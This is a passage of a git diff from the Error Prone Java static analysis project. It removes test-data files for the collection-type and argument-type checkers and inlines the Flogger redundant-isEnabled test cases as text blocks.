return klass.cast(map.get(klass)); - } - - // Ensure we don't match Hashtable.contains and ConcurrentHashtable.contains because there is a - // separate check, HashtableContains, specifically for them. - public boolean hashtableContains() { - Hashtable hashtable = new Hashtable<>(); - ConcurrentHashMap concurrentHashMap = new ConcurrentHashMap<>(); - return hashtable.contains(1) || concurrentHashMap.contains(1); - } - - private static class MyHashMap extends HashMap {} - - public boolean boundedTypeParameters(MyHashMap myHashMap) { - return myHashMap.containsKey(1); - } - - interface Interface1 {} - - interface Interface2 {} - - private static class NonFinalClass {} - - public boolean bothInterfaces(Collection collection, Interface2 iface2) { - return collection.contains(iface2); - } - - public boolean oneInterfaceAndOneNonFinalClass( - Collection collection, NonFinalClass nonFinalClass) { - return collection.contains(nonFinalClass); - } - - public boolean oneNonFinalClassAndOneInterface( - Collection collection, Interface1 iface) { - return collection.contains(iface); - } - - public void methodArgHasSubtypeTypeArgument( - Collection collection1, Collection collection2) { - collection1.containsAll(collection2); - } - - public void methodArgHasSuperTypeArgument( - Collection collection1, Collection collection2) { - collection1.containsAll(collection2); - } - - public void methodArgHasWildcardTypeArgument( - Collection collection1, Collection collection2) { - collection1.containsAll(collection2); - } - - public void methodArgCastToCollectionWildcard( - Collection collection1, Collection collection2) { - collection1.containsAll((Collection) collection2); - } - - public void classToken( - Set>> iterables, Class arrayListClass) { - iterables.contains(arrayListClass); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/CollectionIncompatibleTypeOutOfBounds.java b/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/CollectionIncompatibleTypeOutOfBounds.java deleted file mode 100644 index 15842e60b8d..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/CollectionIncompatibleTypeOutOfBounds.java +++ /dev/null @@ -1,27 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.collectionincompatibletype.testdata; - -import java.util.Properties; - -/** This is a regression test for Issue 222. */ -public class CollectionIncompatibleTypeOutOfBounds { - public void test() { - Properties properties = new Properties(); - properties.get(""); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/CollectionIncompatibleTypePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/CollectionIncompatibleTypePositiveCases.java deleted file mode 100644 index bcb973bfb79..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/CollectionIncompatibleTypePositiveCases.java +++ /dev/null @@ -1,267 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.collectionincompatibletype.testdata; - -import com.google.common.collect.ClassToInstanceMap; -import java.util.ArrayList; -import java.util.Collection; -import java.util.Date; -import java.util.Deque; -import java.util.Dictionary; -import java.util.HashMap; -import java.util.Hashtable; -import java.util.LinkedList; -import java.util.List; -import java.util.Map; -import java.util.Stack; -import java.util.Vector; -import java.util.concurrent.ConcurrentNavigableMap; -import java.util.concurrent.ConcurrentSkipListMap; - -/** Positive test cases for {@link CollectionIncompatibleType}. */ -public class CollectionIncompatibleTypePositiveCases { - - /* Tests for API coverage */ - - public void collection(Collection collection1, Collection collection2) { - // BUG: Diagnostic contains: Argument '"bad"' should not be passed to this method - // its type String is not compatible with its collection's type argument Integer - collection1.contains("bad"); - // BUG: Diagnostic contains: - collection1.remove("bad"); - // BUG: Diagnostic contains: Argument 'collection2' should not be passed to this method - // its type Collection has a type argument String that is not compatible with its - // collection's type argument Integer - collection1.containsAll(collection2); - // BUG: Diagnostic contains: - collection1.removeAll(collection2); - // BUG: Diagnostic contains: - collection1.retainAll(collection2); - } - - public void collectionSubtype(ArrayList arrayList1, ArrayList arrayList2) { - // BUG: Diagnostic contains: Argument '"bad"' should not be passed to this method - // its type String is not compatible with its collection's type argument Integer - arrayList1.contains("bad"); - // BUG: Diagnostic contains: - arrayList1.remove("bad"); - // BUG: Diagnostic contains: Argument 'arrayList2' should not be passed to this method - // its type ArrayList has a type argument String that is not compatible with its - // collection's type argument Integer - arrayList1.containsAll(arrayList2); - // BUG: Diagnostic contains: - arrayList1.removeAll(arrayList2); - // BUG: Diagnostic contains: - arrayList1.retainAll(arrayList2); - } - - public boolean deque(Deque deque) { - // BUG: Diagnostic contains: - boolean result = deque.removeFirstOccurrence("bad"); - // BUG: Diagnostic contains: - return result && deque.removeLastOccurrence("bad"); - } - - public boolean dequeSubtype(LinkedList linkedList) { - // BUG: Diagnostic contains: - boolean result = linkedList.removeFirstOccurrence("bad"); - // BUG: Diagnostic contains: - return result && linkedList.removeLastOccurrence("bad"); - } - - public String dictionary(Dictionary dictionary) { - // BUG: Diagnostic contains: - String result = dictionary.get("bad"); - // BUG: Diagnostic contains: - return result + dictionary.remove("bad"); - } - - public String dictionarySubtype(Hashtable hashtable) { - // BUG: Diagnostic contains: - String result = hashtable.get("bad"); - // BUG: Diagnostic contains: - return result + hashtable.remove("bad"); - } - - public int list() { - List list = new ArrayList(); - // BUG: Diagnostic contains: - int result = list.indexOf(1); - // BUG: Diagnostic contains: - return result + list.lastIndexOf(1); - } - - public void listSubtype() { - ArrayList arrayList = new ArrayList<>(); - // BUG: Diagnostic contains: - int result = arrayList.indexOf(1); - // BUG: Diagnostic contains: - result = arrayList.lastIndexOf(1); - } - - public boolean map() { - Map map = new HashMap<>(); - // BUG: Diagnostic contains: - String result = map.get("bad"); - // BUG: Diagnostic contains: - result = map.getOrDefault("bad", "soBad"); - // BUG: Diagnostic contains: - boolean result2 = map.containsKey("bad"); - // BUG: Diagnostic contains: - result2 = map.containsValue(1); - // BUG: Diagnostic contains: - result = map.remove("bad"); - return false; - } - - public boolean mapSubtype() { - ConcurrentNavigableMap concurrentNavigableMap = new ConcurrentSkipListMap<>(); - // BUG: Diagnostic contains: - String result = concurrentNavigableMap.get("bad"); - // BUG: Diagnostic contains: - boolean result2 = concurrentNavigableMap.containsKey("bad"); - // BUG: Diagnostic contains: - result2 = concurrentNavigableMap.containsValue(1); - // BUG: Diagnostic contains: - result = concurrentNavigableMap.remove("bad"); - return false; - } - - public int stack(Stack stack) { - // BUG: Diagnostic contains: - return stack.search("bad"); - } - - private static class MyStack extends Stack {} - - public int stackSubtype(MyStack myStack) { - // BUG: Diagnostic contains: - return myStack.search("bad"); - } - - public int vector(Vector vector) { - // BUG: Diagnostic contains: - int result = vector.indexOf("bad", 0); - // BUG: Diagnostic contains: - return result + vector.lastIndexOf("bad", 0); - } - - public int vectorSubtype(Stack stack) { - // BUG: Diagnostic contains: - int result = stack.indexOf("bad", 0); - // BUG: Diagnostic contains: - return result + stack.lastIndexOf("bad", 0); - } - - /* Tests for behavior */ - - public boolean errorMessageUsesSimpleNames(Collection collection) { - // BUG: Diagnostic contains: Argument '"bad"' should not be passed to this method - // its type String is not compatible with its collection's type argument Integer - return collection.contains("bad"); - } - - private static class Date {} - - public boolean errorMessageUsesFullyQualifedNamesWhenSimpleNamesAreTheSame( - Collection collection1, Collection collection2) { - // BUG: Diagnostic contains: Argument 'new Date()' should not be passed to this method - // its type - // com.google.errorprone.bugpatterns.collectionincompatibletype.testdata.CollectionIncompatibleTypePositiveCases.Date is not compatible with its collection's type argument java.util.Date - return collection1.contains(new Date()); - } - - public boolean boundedWildcard() { - Collection collection = new ArrayList<>(); - // BUG: Diagnostic contains: - return collection.contains("bad"); - } - - private static class Pair { - public A first; - public B second; - } - - public boolean declaredTypeVsExpressionType(Pair pair, List list) { - // BUG: Diagnostic contains: - return list.contains(pair.second); - } - - public String subclassHasDifferentTypeParameters(ClassToInstanceMap map, String s) { - // BUG: Diagnostic contains: - return map.get(s); - } - - private static class MyArrayList extends ArrayList {} - - public void methodArgumentIsSubclassWithDifferentTypeParameters( - Collection collection, MyArrayList myArrayList) { - // BUG: Diagnostic contains: - collection.containsAll(myArrayList); - } - - private static class IncompatibleBounds { - private boolean function(Map map, K key) { - // BUG: Diagnostic contains: - return map.containsValue(key); - } - } - - interface Interface {} - - private static final class FinalClass1 {} - - private static final class FinalClass2 {} - - private static class NonFinalClass1 {} - - private static class NonFinalClass2 {} - - public boolean oneInterfaceAndOneFinalClass( - Collection collection, FinalClass1 finalClass1) { - // BUG: Diagnostic contains: - return collection.contains(finalClass1); - } - - public boolean oneFinalClassAndOneInterface(Collection collection, Interface iface) { - // BUG: Diagnostic contains: - return collection.contains(iface); - } - - public boolean bothNonFinalClasses( - Collection collection, NonFinalClass2 nonFinalClass2) { - // BUG: Diagnostic contains: - return collection.contains(nonFinalClass2); - } - - public boolean bothFinalClasses(Collection collection, FinalClass2 finalClass2) { - // BUG: Diagnostic contains: - return collection.contains(finalClass2); - } - - public boolean oneNonFinalClassAndOneFinalClass( - Collection collection, FinalClass1 finalClass1) { - // BUG: Diagnostic contains: - return collection.contains(finalClass1); - } - - public boolean oneFinalClassAndOneNonFinalClass( - Collection collection, NonFinalClass1 nonFinalClass1) { - // BUG: Diagnostic contains: - return collection.contains(nonFinalClass1); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/IncompatibleArgumentTypeEnclosingTypes.java b/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/IncompatibleArgumentTypeEnclosingTypes.java deleted file mode 100644 index 15b231c5a85..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/IncompatibleArgumentTypeEnclosingTypes.java +++ /dev/null @@ -1,81 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.collectionincompatibletype.testdata; - -import com.google.errorprone.annotations.CompatibleWith; -import java.util.Set; - -/** Test case for enclosing type */ -public class IncompatibleArgumentTypeEnclosingTypes { - static class Foo { - class Bar { - void doSomething(@CompatibleWith("Y") Object x) {} - } - - class Sub { - class SubSub { - void doSomething(@CompatibleWith("X") Object nestedResolution) {} - - X methodVarIsReturn(@CompatibleWith("X") Object nestedResolution) { - return null; - } - - void methodVarIsFree(@CompatibleWith("X") Object nestedResolution) {} - - void compatibleWithBase(@CompatibleWith("Y") Object nestedResolution) {} - } - } - - static class Baz { - // Shouldn't resolve to anything, would be a compile error due to CompatibleWithMisuse - static void doSomething(@CompatibleWith("X") Object x) {} - } - } - - void testSubs() { - new Foo().new Bar().doSomething("a"); - // BUG: Diagnostic contains: int is not compatible with the required type: String - new Foo().new Bar().doSomething(123); - new Foo().new Bar().doSomething(123); - - Foo.Bar rawtype = new Foo().new Bar(); - rawtype.doSomething(123); // Weakness, rawtype isn't specialized in Foo - - Foo.Baz.doSomething(123); // No resolution of X - } - - void testMegasub() { - new Foo().new Sub().new SubSub().doSomething(true); - // BUG: Diagnostic contains: int is not compatible with the required type: Boolean - new Foo().new Sub().new SubSub().doSomething(123); - - // X in method is unbound - new Foo().new Sub().new SubSub().methodVarIsReturn(123); - - // BUG: Diagnostic contains: int is not compatible with the required type: Set - new Foo().new Sub().new SubSub().>methodVarIsReturn(123); - - // BUG: Diagnostic contains: int is not compatible with the required type: String - new Foo().new Sub().new SubSub().>compatibleWithBase(123); - } - - void extraStuff() { - // Javac throws away the type of since it's not used in params/return type, so we can't - // enforce it here. - new Foo().new Sub().new SubSub().>methodVarIsFree(123); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/IncompatibleArgumentTypeGenericMethod.java b/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/IncompatibleArgumentTypeGenericMethod.java deleted file mode 100644 index 8ef722de138..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/IncompatibleArgumentTypeGenericMethod.java +++ /dev/null @@ -1,64 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.collectionincompatibletype.testdata; - -import com.google.errorprone.annotations.CompatibleWith; - -/** Test IncompatibleArgumentType with a generic method */ -public class IncompatibleArgumentTypeGenericMethod { - class A { - C remove(@CompatibleWith("B") Object b, @CompatibleWith("C") Object c) { - return null; - } - - C varargs(@CompatibleWith("B") Object b, @CompatibleWith("C") Object... cs) { - return (C) cs[0]; - } - } - - class C extends A {} - - void testfoo(C c, A unbound, A boundToNumber) { - c.remove("a", null); // OK, match null to Double - c.remove("a", 123.0); // OK, match Double to Double - c.remove("a", 123); // OK, 2nd arg is unbound - - unbound.remove(null, 123); // OK, variables unbound - - // BUG: Diagnostic contains: String is not compatible with the required type: Number - boundToNumber.remove("123", null); - - // BUG: Diagnostic contains: int is not compatible with the required type: Double - Double d = c.remove("a", 123); - // BUG: Diagnostic contains: int is not compatible with the required type: Double - c.remove("a", 123); - - // BUG: Diagnostic contains: float is not compatible with the required type: Double - c.remove(123, 123.0f); - } - - void testVarargs(A stringA) { - // OK, all varargs elements compatible with Integer - Integer first = stringA.varargs("hi", 2, 3, 4); - - // BUG: Diagnostic contains: long is not compatible with the required type: Integer - first = stringA.varargs("foo", 2, 3L); - - // OK, everything compatible w/ Object - Object o = stringA.varargs("foo", 2L, 1.0d, "a"); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/IncompatibleArgumentTypeIntersectionTypes.java b/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/IncompatibleArgumentTypeIntersectionTypes.java deleted file mode 100644 index 2eee5cb55c7..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/IncompatibleArgumentTypeIntersectionTypes.java +++ /dev/null @@ -1,66 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.collectionincompatibletype.testdata; - -import com.google.errorprone.annotations.CompatibleWith; - -/** Test intersection types. */ -public class IncompatibleArgumentTypeIntersectionTypes { - - interface Nothing {} - - interface Something {} - - interface Everything extends Nothing, Something {} - - class Test { - void doSomething(@CompatibleWith("X") Object whatever) {} - } - - class ArrayTest { - void doSomething(@CompatibleWith("X") Object whatever) {} - } - - void testStuff(Test someTest, Everything[] everythings, Nothing nothing) { - // Final classes (Integer) can't be cast to an interface they don't implement - // BUG: Diagnostic contains: int is not compatible with the required type: Everything - someTest.doSomething(123); - - // Non-final classes can. - someTest.doSomething((Object) 123); - - // Arrays can't, since they can only be cast to Serializable - // BUG: Diagnostic contains: Everything[] is not compatible with the required type: Everything - someTest.doSomething(everythings); - - // BUG: Diagnostic contains: Everything[][] is not compatible with the required type: Everything - someTest.doSomething(new Everything[][] {everythings}); - - // OK (since some other implementer of Nothing could implement Everything) - someTest.doSomething(nothing); - } - - void testArraySpecialization( - ArrayTest arrayTest, Integer[] ints, Object[] objz, String[] strings) { - arrayTest.doSomething(ints); - - arrayTest.doSomething(objz); - - // BUG: Diagnostic contains: String[] is not compatible with the required type: Number[] - arrayTest.doSomething(strings); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/IncompatibleArgumentTypeMultimapIntegration.java b/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/IncompatibleArgumentTypeMultimapIntegration.java deleted file mode 100644 index acdb3c2e490..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/collectionincompatibletype/testdata/IncompatibleArgumentTypeMultimapIntegration.java +++ /dev/null @@ -1,86 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.collectionincompatibletype.testdata; - -import com.google.errorprone.annotations.CompatibleWith; - -/** Integration test testing a hypothetical multimap interface */ -public class IncompatibleArgumentTypeMultimapIntegration { - interface Multimap { - boolean containsKey(@CompatibleWith("K") Object key); - - boolean containsValue(@CompatibleWith("V") Object value); - - boolean containsEntry(@CompatibleWith("K") Object key, @CompatibleWith("V") Object value); - - boolean containsAllKeys(@CompatibleWith("K") Object key, Object... others); - } - - class MyMultimap implements Multimap { - @Override - public boolean containsKey(Object key) { - return false; - } - - @Override - public boolean containsValue(Object value) { - return false; - } - - @Override - public boolean containsEntry(Object key, Object value) { - return false; - } - - @Override - public boolean containsAllKeys(Object key, Object... keys) { - return false; - } - } - - void testRegularValid(Multimap intToString) { - intToString.containsKey(123); - intToString.containsEntry(123, "abc"); - intToString.containsValue("def"); - // 0-entry vararg doesn't crash - intToString.containsAllKeys(123); - } - - static void testIncompatibleWildcards( - Multimap map, K key, V value) { - map.containsKey(key); - map.containsValue(value); - map.containsEntry(key, value); - - // BUG: Diagnostic contains: V is not compatible with the required type: K - map.containsEntry(value, key); - // BUG: Diagnostic contains: K is not compatible with the required type: V - map.containsValue(key); - // BUG: Diagnostic contains: V is not compatible with the required type: K - map.containsKey(value); - } - - void testVarArgs(Multimap intToString) { - // Validates the first, not the varags params - intToString.containsAllKeys(123, 123, 123); - // TODO(glorioso): If we make it work with varargs, this should fail - intToString.containsAllKeys(123, 123, "a"); - - Integer[] keys = {123, 345}; - intToString.containsAllKeys(123, (Object[]) keys); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/flogger/FloggerRedundantIsEnabledTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/flogger/FloggerRedundantIsEnabledTest.java index a822f316092..c3295101e82 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/flogger/FloggerRedundantIsEnabledTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/flogger/FloggerRedundantIsEnabledTest.java @@ -35,22 +35,387 @@ public class FloggerRedundantIsEnabledTest { @Test public void doPositiveCases() { compilationTestHelper - .addSourceFile("testdata/FloggerRedundantIsEnabledPositiveCases.java") + .addSourceLines( + "FloggerRedundantIsEnabledPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.flogger.testdata; + + import com.google.common.flogger.FluentLogger; + + /** Created by mariasam on 7/17/17. */ + class FloggerRedundantIsEnabledPositiveCases { + + public void basicCase(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (logger.atInfo().isEnabled()) { + logger.atInfo().log("test"); + } + } + + public void nestedIf(FluentLogger logger) { + if (7 == 7) { + // BUG: Diagnostic contains: redundant + if (logger.atInfo().isEnabled()) { + logger.atInfo().log("test"); + } + } + } + + public void checkBinaryInIf(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (7 == 7 && logger.atInfo().isEnabled()) { + logger.atInfo().log("test"); + } + } + + public void checkBinaryOtherWay(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (logger.atInfo().isEnabled() && 7 == 7) { + logger.atInfo().log("test"); + } + } + + public void complexBinary(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (7 == 7 && (logger != null && logger.atInfo().isEnabled())) { + logger.atInfo().log("test"); + } + } + + public void negated(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (!logger.atInfo().isEnabled()) { + logger.atInfo().log("test"); + } + } + + public void binaryNegated(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (!logger.atInfo().isEnabled() && 7 == 7) { + logger.atInfo().log("test"); + } + } + + public void checkConfig(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (logger.atConfig().isEnabled()) { + logger.atConfig().log("test"); + } + } + + public void checkFine(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (logger.atFine().isEnabled()) { + logger.atFine().log("test"); + } + } + + public void checkFiner(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (logger.atFiner().isEnabled()) { + logger.atFiner().log("test"); + } + } + + public void checkFinest(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (logger.atFinest().isEnabled()) { + logger.atFinest().log("test"); + } + } + + public void checkWarning(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (logger.atWarning().isEnabled()) { + logger.atWarning().log("test"); + } + } + + public void checkSevere(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (logger.atSevere().isEnabled()) { + logger.atSevere().log("test"); + } + } + }""") .doTest(); } @Test public void doNegativeCases() { compilationTestHelper - .addSourceFile("testdata/FloggerRedundantIsEnabledNegativeCases.java") + .addSourceLines( + "FloggerRedundantIsEnabledNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.flogger.testdata; + +import com.google.common.flogger.FluentLogger; +import java.util.Arrays; +import java.util.List; +import java.util.Map; + +/** + * @author mariasam@google.com (Maria Sam) + */ +public class FloggerRedundantIsEnabledNegativeCases { + + public void basicCase(FluentLogger logger) { + logger.atInfo().log("test"); + } + + public void sameLoggerIf(FluentLogger logger, FluentLogger logger2) { + if (logger.equals(logger2)) { + logger.atInfo().log("test"); + } + } + + public void relatedIf(FluentLogger logger, FluentLogger logger2) { + if (logger.atInfo().isEnabled()) { + logger2.atInfo().log("test"); + } + } + + public void doesWork(FluentLogger logger, Map> map) { + if (logger.atFine().isEnabled()) { + for (Map.Entry> toLog : map.entrySet()) { + logger.atFine().log("%s%s", toLog.getKey(), Arrays.toString(toLog.getValue().toArray())); + } + } + } + + public void differentLevels(FluentLogger logger) { + if (logger.atFine().isEnabled()) { + logger.atInfo().log("This is weird but not necessarily wrong"); + } + } + + public void checkAtInfo(TestLogger notALogger, FluentLogger logger2) { + if (notALogger.atInfo().isEnabled()) { + logger2.atInfo().log("test"); + } + } + + public void checkAtInfo(TestLogger notALogger) { + if (notALogger.atInfo() == null) { + notALogger.atInfo(); + } + } + + public void checkMethods(FluentLogger logger) { + if (logger.atInfo().isEnabled()) { + atInfo(); + isEnabled(); + } + } + + public void multipleLines(FluentLogger logger) { + if (logger.atInfo().isEnabled()) { + int foo = 10; + logger.atInfo().log("test"); + } + } + + public boolean atInfo() { + return true; + } + + public boolean isEnabled() { + return true; + } + + private class TestLogger { + public TestLogger atInfo() { + return null; + } + + public boolean isEnabled() { + return true; + } + } +}""") .doTest(); } @Test public void fixes() { BugCheckerRefactoringTestHelper.newInstance(FloggerRedundantIsEnabled.class, getClass()) - .addInput("testdata/FloggerRedundantIsEnabledPositiveCases.java") - .addOutput("testdata/FloggerRedundantIsEnabledPositiveCases_expected.java") + .addInputLines( + "FloggerRedundantIsEnabledPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.flogger.testdata; + + import com.google.common.flogger.FluentLogger; + + /** Created by mariasam on 7/17/17. */ + class FloggerRedundantIsEnabledPositiveCases { + + public void basicCase(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (logger.atInfo().isEnabled()) { + logger.atInfo().log("test"); + } + } + + public void nestedIf(FluentLogger logger) { + if (7 == 7) { + // BUG: Diagnostic contains: redundant + if (logger.atInfo().isEnabled()) { + logger.atInfo().log("test"); + } + } + } + + public void checkBinaryInIf(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (7 == 7 && logger.atInfo().isEnabled()) { + logger.atInfo().log("test"); + } + } + + public void checkBinaryOtherWay(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (logger.atInfo().isEnabled() && 7 == 7) { + logger.atInfo().log("test"); + } + } + + public void complexBinary(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (7 == 7 && (logger != null && logger.atInfo().isEnabled())) { + logger.atInfo().log("test"); + } + } + + public void negated(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (!logger.atInfo().isEnabled()) { + logger.atInfo().log("test"); + } + } + + public void binaryNegated(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (!logger.atInfo().isEnabled() && 7 == 7) { + logger.atInfo().log("test"); + } + } + + public void checkConfig(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (logger.atConfig().isEnabled()) { + logger.atConfig().log("test"); + } + } + + public void checkFine(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (logger.atFine().isEnabled()) { + logger.atFine().log("test"); + } + } + + public void checkFiner(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (logger.atFiner().isEnabled()) { + logger.atFiner().log("test"); + } + } + + public void checkFinest(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (logger.atFinest().isEnabled()) { + logger.atFinest().log("test"); + } + } + + public void checkWarning(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (logger.atWarning().isEnabled()) { + logger.atWarning().log("test"); + } + } + + public void checkSevere(FluentLogger logger) { + // BUG: Diagnostic contains: redundant + if (logger.atSevere().isEnabled()) { + logger.atSevere().log("test"); + } + } + }""") + .addOutputLines( + "FloggerRedundantIsEnabledPositiveCases_expected.java", + """ + package com.google.errorprone.bugpatterns.flogger.testdata; + + import com.google.common.flogger.FluentLogger; + + /** + * @author mariasam@google.com (Maria Sam) + */ + class FloggerRedundantIsEnabledPositiveCases { + + public void basicCase(FluentLogger logger) { + logger.atInfo().log("test"); + } + + public void nestedIf(FluentLogger logger) { + if (7 == 7) { + logger.atInfo().log("test"); + } + } + + public void checkBinaryInIf(FluentLogger logger) { + if (7 == 7) { + logger.atInfo().log("test"); + } + } + + public void checkBinaryOtherWay(FluentLogger logger) { + if (7 == 7) { + logger.atInfo().log("test"); + } + } + + public void complexBinary(FluentLogger logger) { + if (7 == 7 && (logger != null)) { + logger.atInfo().log("test"); + } + } + + public void negated(FluentLogger logger) { + logger.atInfo().log("test"); + } + + public void binaryNegated(FluentLogger logger) { + if (7 == 7) { + logger.atInfo().log("test"); + } + } + + public void checkConfig(FluentLogger logger) { + logger.atConfig().log("test"); + } + + public void checkFine(FluentLogger logger) { + logger.atFine().log("test"); + } + + public void checkFiner(FluentLogger logger) { + logger.atFiner().log("test"); + } + + public void checkFinest(FluentLogger logger) { + logger.atFinest().log("test"); + } + + public void checkWarning(FluentLogger logger) { + logger.atWarning().log("test"); + } + + public void checkSevere(FluentLogger logger) { + logger.atSevere().log("test"); + } + }""") .doTest(TestMode.AST_MATCH); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/flogger/testdata/FloggerRedundantIsEnabledNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/flogger/testdata/FloggerRedundantIsEnabledNegativeCases.java deleted file mode 100644 index 0d9c6aaf96f..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/flogger/testdata/FloggerRedundantIsEnabledNegativeCases.java +++ /dev/null @@ -1,102 +0,0 @@ -/* - * Copyright 2020 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.flogger.testdata; - -import com.google.common.flogger.FluentLogger; -import java.util.Arrays; -import java.util.List; -import java.util.Map; - -/** - * @author mariasam@google.com (Maria Sam) - */ -public class FloggerRedundantIsEnabledNegativeCases { - - public void basicCase(FluentLogger logger) { - logger.atInfo().log("test"); - } - - public void sameLoggerIf(FluentLogger logger, FluentLogger logger2) { - if (logger.equals(logger2)) { - logger.atInfo().log("test"); - } - } - - public void relatedIf(FluentLogger logger, FluentLogger logger2) { - if (logger.atInfo().isEnabled()) { - logger2.atInfo().log("test"); - } - } - - public void doesWork(FluentLogger logger, Map> map) { - if (logger.atFine().isEnabled()) { - for (Map.Entry> toLog : map.entrySet()) { - logger.atFine().log("%s%s", 